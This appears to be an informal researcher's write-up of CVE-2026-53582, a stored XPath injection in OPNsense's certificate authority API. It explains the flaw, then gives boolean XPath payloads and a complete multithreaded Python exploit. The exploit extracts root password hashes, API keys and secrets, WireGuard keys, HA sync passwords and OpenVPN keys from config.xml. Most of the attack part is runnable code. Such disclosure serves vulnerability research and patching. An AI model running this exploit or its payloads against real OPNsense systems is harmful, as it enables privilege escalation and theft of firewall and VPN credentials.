CVE-2026-53582
SUMMARY: a stored XPATH injection allows any user with just ca manager/certificate manager perms to leak any secret key/any value in config.xml, thus achieving privilege escalation. this can also likely be chained via csrf and some clever hiding. see https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
https://www.cve.org/CVERecord?id=CVE-2026-53582
ill keep this short
the vuln in question
in CAsField.php:
$refcount = count(Config::getInstance()->object()->xpath("//*[text() = '{$node->refid}']")) - 1;
now just staring at this it is pretty obvious that this isn’t sanitized at all. if we control refid its wraps. finding references to refid, we land on CaController.php:
protected function setBaseHook($node)
{
if (empty((string)$node->refid)) {
$node->refid = uniqid();
}
$error = false;
if (!empty((string)$node->prv_payload)) {
/** private key manually offered */
$node->prv = base64_encode((string)$node->prv_payload);
}
switch ((string)$node->action) {
case 'internal':
case 'ocsp':
$extns = [];
if (!empty((string)$node->ocsp_uri)) {
$extns['authorityInfoAccess'] = "OCSP;URI:{$node->ocsp_uri}";
}
$data = CertStore::createCert(
(string)$node->key_type,
(string)$node->lifetime,
$node->dn(),
(string)$node->digest,
(string)$node->caref,
(string)$node->action == 'internal' ? 'v3_ca' : 'ocsp',
$extns
);
/**
so clearly from uniqid() refid probably is user controlled and is expected to be alphanumeric. cool. so how do we actually trigger this oen might ask. after screwing around a bit on opnsense we get to the ca manager priv’s panel, namely adding a ca:
POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded
ca[refid]=<here>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf@example.com
cool. now lets try it out to see if it works. writing a quick script:
import requests
import urllib3
urllib3.disable_warnings()
base = ""
auth = ("asdf", "jkl")
s = requests.Session()
s.auth = auth
s.verify = False
r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
exit()
canary = "TESTING"
r = s.post(f"{base}/api/trust/ca/add", data={
"ca[refid]": canary,
"ca[descr]": "poc",
"ca[action]": "internal",
"ca[commonname]": "poc",
}, timeout=30)
uuid = r.json().get("uuid", "n/a")
s.post(f"{base}/api/trust/ca/set/{uuid}", data={"ca[refid]": f"{canary}' or ('1'='1') or 'x'='"}, timeout=30)
r = s.get(f"{base}/api/trust/ca/get/{uuid}", timeout=30)
print({r.json().get('ca', {}).get('refcount', 0))
s.post(f"{base}/api/trust/ca/set/{uuid}", data={"ca[refid]": f"{canary}' or ('1'='2') or 'x'='"}, timeout=30)
r = s.get(f"{base}/api/trust/ca/get/{uuid}", timeout=30)
print(f"false {r.json().get('ca', {}).get('refcount', 0)}")
testing both of them we get a working side channel to begin developing our attack. nice
ok how do we attack
naively we can linearly guess each character. the idea is that we bombard our opnsense box with a fuck ton of requests and ask it if ‘a’ is the right character. if we get false, we move on until we get a greater refcount. we push the correct character, then we move to the next, etc
obviously we want to make this faster so we can actually not burn access in 30 seconds. one way we can do this is a simple binary search system for determining the length and guessing the characters.
if you dont know what binary search is i suggest applying for a role in microsoft: here
making the attack not shit
1. get the length of our string
how? one might ask. luckily we can use the xpath string-length to close in on the length easily:
canary' or (string-length(//system/user/password)>=midlen) or 'x'='
canary' or (string-length(//system/user/password)>=right) or 'x'='
...
im sure you get the idea. ok now we have the length. now we can actually start guessing faster nice
2. start guessing
instead of gusesing each character slowly through the full charset we can use the xpath exprs contains and substring to (again) optimize the attack:
ca[refid]=canary' or (contains('{charset here}', substring(//system/user/password,1,1))) or 'x'='
for example this checks whether the first character is in the first half of the charset. if not, we move to the other half, etc.
we do a final precise check on said char with:
ca[refid]=canary' or (substring(//system/user/password,1,1)='z') or 'x'='
and we move to the next character. amazing
now this attack is still singlethreaded. to make it multithreaded and actually fast enough ill use a thread pool and to prevent colliding canaries or false matches e.g. ‘foo’ might match some substring in a big private key, ill just generate random ints in between __TUNG__.
ok so in summary
workers:
- POST /api/trust/ca/add to get a UUID and generate a unique canary string
- slap workers in a queue with the session, uuid and canary string
threads:
- grab a worker from the queue for some character index
- POST /api/trust/ca/set/{uuid} ca[refid] = payload, bsearch
- get character
- add it to a result string
obviously this can be heavily improved but i cbf lol
poc vid
watch the video here: https://www.youtube.com/watch?v=bkKOFIZLMkc
in reality this is obv shit attack since youll light up someones siem/ueba in 30 seconds and lose your precious access. even if you did stuff like randomize uas and headers and maybe even use proxies itll still be risky. notably it is possible to probably further reduce reqs
the xp
import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3
urllib3.disable_warnings()
# yeah idk dude iiwiw lol
targs = {
"wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
"wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
"hasyncpw": "//hasync/password",
"roothash": "//system/user/password",
"rootkey": "//system/user/apikeys/item/key",
"rootsecret": "//system/user/apikeys/item/secret",
"openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}
cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))
makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"
total = 0
lock = threading.Lock()
# mega ass
def sesh(a):
s = requests.Session()
s.auth = a
s.verify = False
return s
def prober(s, base, n):
canary = makecanary()
r = s.post(f"{base}/api/trust/ca/add", data={
"ca[refid]": canary, "ca[descr]": f"p{n}",
"ca[action]": "internal", "ca[commonname]": f"p{n}",
}, timeout=30)
return r.json().get("uuid", "n/a"), canary
def inj(s, base, ca_uuid, nx, condition):
global total
payload = f"{nx}' or ({condition}) or 'x'='"
s.post(
f"{base}/api/trust/ca/set/{ca_uuid}",
data={"ca[refid]": payload},
timeout=30,
)
r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
with lock:
total += 1
ca = r.json().get("ca", {})
# refcount = int(ca["refcount"])
refcount = int(ca.get("refcount", "0"))
return refcount > 0
def getlen(s, base, ca, nx, xpath):
lo, hi = 0, 300
while lo < hi:
mid = (lo + hi + 1) // 2
if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
lo = mid
else:
hi = mid - 1
return lo
def binsrch(s, base, ca, nx, xpath, pos):
cands = cset[:]
while len(cands) > 1:
midpoint = len(cands) // 2
half = "".join(cands[:midpoint])
cond = f"contains('{half}', substring({xpath},{pos},1))"
if inj(s, base, ca, nx, cond):
cands = cands[:midpoint]
else:
cands = cands[midpoint:]
c = cands[0]
if c == "'":
lit = f'"{c}"'
else:
lit = f"'{c}'"
cond = f"substring({xpath},{pos},1)={lit}"
if inj(s, base, ca, nx, cond):
return c
return None
def extract(workers, base, xpath):
s0, ca0, nx0 = workers[0]
length = getlen(s0, base, ca0, nx0, xpath)
if length == 0:
return ""
print(f"+ maybe {length} len")
result = ["?"] * length
wq = Queue()
for w in workers:
wq.put(w)
# start grabbing
def do(pos):
s, ca, nx = wq.get()
try:
return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
finally:
wq.put((s, ca, nx))
with ThreadPoolExecutor(max_workers=len(workers)) as pool:
# for pos, ch in pool.map(doer_func(p), range(length)):
for pos, ch in pool.map(lambda p: do(p), range(length)):
if ch:
result[pos] = ch
sys.stdout.write(ch or "#")
sys.stdout.flush()
print()
return "".join(result)
def main():
global total
print("xray")
target_names = list(targs.keys())
target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
# i gave it a bullshit name
parser = argparse.ArgumentParser(
description="x-ray",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="extractables:\n" + target_list,
)
parser.add_argument("targ", help="base url")
parser.add_argument("api_key", help="you need this")
parser.add_argument("api_secret", help="this too")
parser.add_argument("target", nargs="?", default="all", choices=target_names + ["all"], help="target to extract")
parser.add_argument("-w", "--workers", type=int, default=8, help="how many workers in parallel")
args = parser.parse_args()
base = args.targ.rstrip("/")
auth = (args.api_key, args.api_secret)
s = sesh(auth)
r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
print("- bro")
sys.exit(1)
print("+ oh sweet we can access the ca api")
workers = []
for i in range(args.workers):
ws = sesh(auth)
uuid, nx = prober(ws, base, i)
if not uuid:
print("creating probe failed (prober)")
sys.exit(1)
workers.append((ws, uuid, nx))
print(f"+ {args.workers} probing\n")
# extract
if args.target == "all":
targets = targs
else:
targets = {args.target: targs[args.target]}
for name, xpath in targets.items():
print(f"+ {name}")
s0, ca0, nx0 = workers[0]
if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
print("n/a")
continue
val = extract(workers, base, xpath)
print(f"{repr(val)} ({total} reqs)\n")
# finally: # nvm
# cleanup but not really beacuse im lazy
for ws, ca, nx in workers:
ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
print(f"+ done {total}")
if __name__ == "__main__":
main()